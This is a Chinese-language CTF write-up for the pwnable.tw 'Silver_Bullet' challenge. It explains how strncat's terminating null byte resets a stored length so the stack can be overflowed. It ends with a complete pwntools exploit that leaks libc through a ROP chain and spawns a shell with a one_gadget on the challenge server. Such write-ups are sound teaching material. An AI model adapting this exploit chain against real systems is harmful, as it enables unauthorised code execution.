pawnable.tw Silver_Bullet

0x10 程序分析

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32 位动态链接库文件,ubuntu16.04的libc,没有开启栈溢出保护

Create 函数

int __cdecl create_bullet(char *s) { size_t v2; // ST08_4 if ( *s ) return puts("You have been created the Bullet !"); printf("Give me your description of bullet :"); read_input(s, 0x30u); v2 = strlen(s); printf("Your power is : %u\n", v2); *((_DWORD *)s + 0xC) = v2; // ida识别错误,应该在s+0x30的位置 return puts("Good luck !!"); }

Powerup函数

int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t v3; // [esp+30h] [ebp-4h] v3 = 0; memset(&s, 0, 0x30u); if ( !*dest ) return puts("You need create the bullet first !"); if ( *(dest + 12) > 0x2Fu ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(&s, 48 - *(dest + 12)); strncat(dest, &s, 48 - *(dest + 12)); //注意这个函数 v3 = strlen(&s) + *(dest + 12); printf("Your new power is : %u\n", v3); *(dest + 12) = v3; return puts("Enjoy it !"); }

beat函数

signed int __cdecl beat(int a1, _DWORD *a2) { signed int result; // eax if ( *a1 ) { puts(">----------- Werewolf -----------<"); printf(" + NAME : %s\n", a2[1]); printf(" + HP : %d\n", *a2); puts(">--------------------------------<"); puts("Try to beat it ....."); usleep(0xF4240u); *a2 -= *(a1 + 48); if ( *a2 <= 0 ) { puts("Oh ! You win !!"); result = 1; } else { puts("Sorry ... It still alive !!"); result = 0; } } else { puts("You need create the bullet first !"); result = 0; } return result; }

三个函数都判断了bullet是否存在而输入使用了read_input函数

ssize_t __cdecl read_input(void *buf, size_t nbytes) { ssize_t v3; // [esp+0h] [ebp-4h] v3 = read(0, buf, nbytes); if ( v3 <= 0 ) { puts("read error"); exit(1); } if ( *(buf + v3 - 1) == 10 ) *(buf + v3 - 1) = 0; return v3; }

读入0x30长度的字符串到buf中,并且将\n 替换为\x00

如果我们第一次输入0x10长度的字符串,然后我们最加0x20长度的字符串的话程序会发生什么:

首先过第一个函数

s+0x30 = 0x10

然后进行追加:

strncat(dest,s,0x20)

漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上\x00结尾。

此时执行完成以后由于将0x10覆盖为了0x00,因此此时字符串长度会被识别成0x20,导致我们可以继续追加产生溢出

0x20 思路

第一次输入0x28+4个字节,然后追加0x8-4个字节,然后再次追加7个字节就可以溢出到返回地址

我们要让main函数返回就要调用Beat函数,由于我们可以覆盖到 *a2 -= *(a1 + 48);,因此我们只需要将这里的值改为一个比较大数字就可以了

ROP

puts_plt
main
puts_got

get puts
libc_base = puts - libc.symbols['puts']

onegadget = libc_base + one

one

0x30 Final exp

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./silver_bullet" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) libc = ELF("./libc_32.so.6") def choice(operand): sh.sendafter("Your choice :",str(operand)) def Create(content): choice(1) sh.sendafter("Give me your description of bullet :",content) def Powerup(content): choice(2) sh.sendafter("Give me your another description of bullet :",content) def Beat(): choice(3) def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: sh=remote(ip,port) main = elf.symbols['main'] puts_plt = elf.symbols['puts'] puts_got = elf.got['puts'] Create("A"*(0x28+4)) Powerup("B"*(0x8-4)) Powerup("\xff"*7+p32(puts_plt)+p32(main)+p32(puts_got)) Beat() sh.recvuntil("Oh ! You win !!\n") puts = u32(sh.recv(4)) log.info("puts: "+hex(puts)) libc_base = puts - libc.symbols['puts'] one_gadget = libc_base + 0x5f065 Create("A"*(0x28+4)) Powerup("B"*(0x8-4)) Powerup("\xff"*7+p32(one_gadget)) Beat() sh.sendline("cat /home/silver_bullet/flag") sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",10103,0) """ 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL """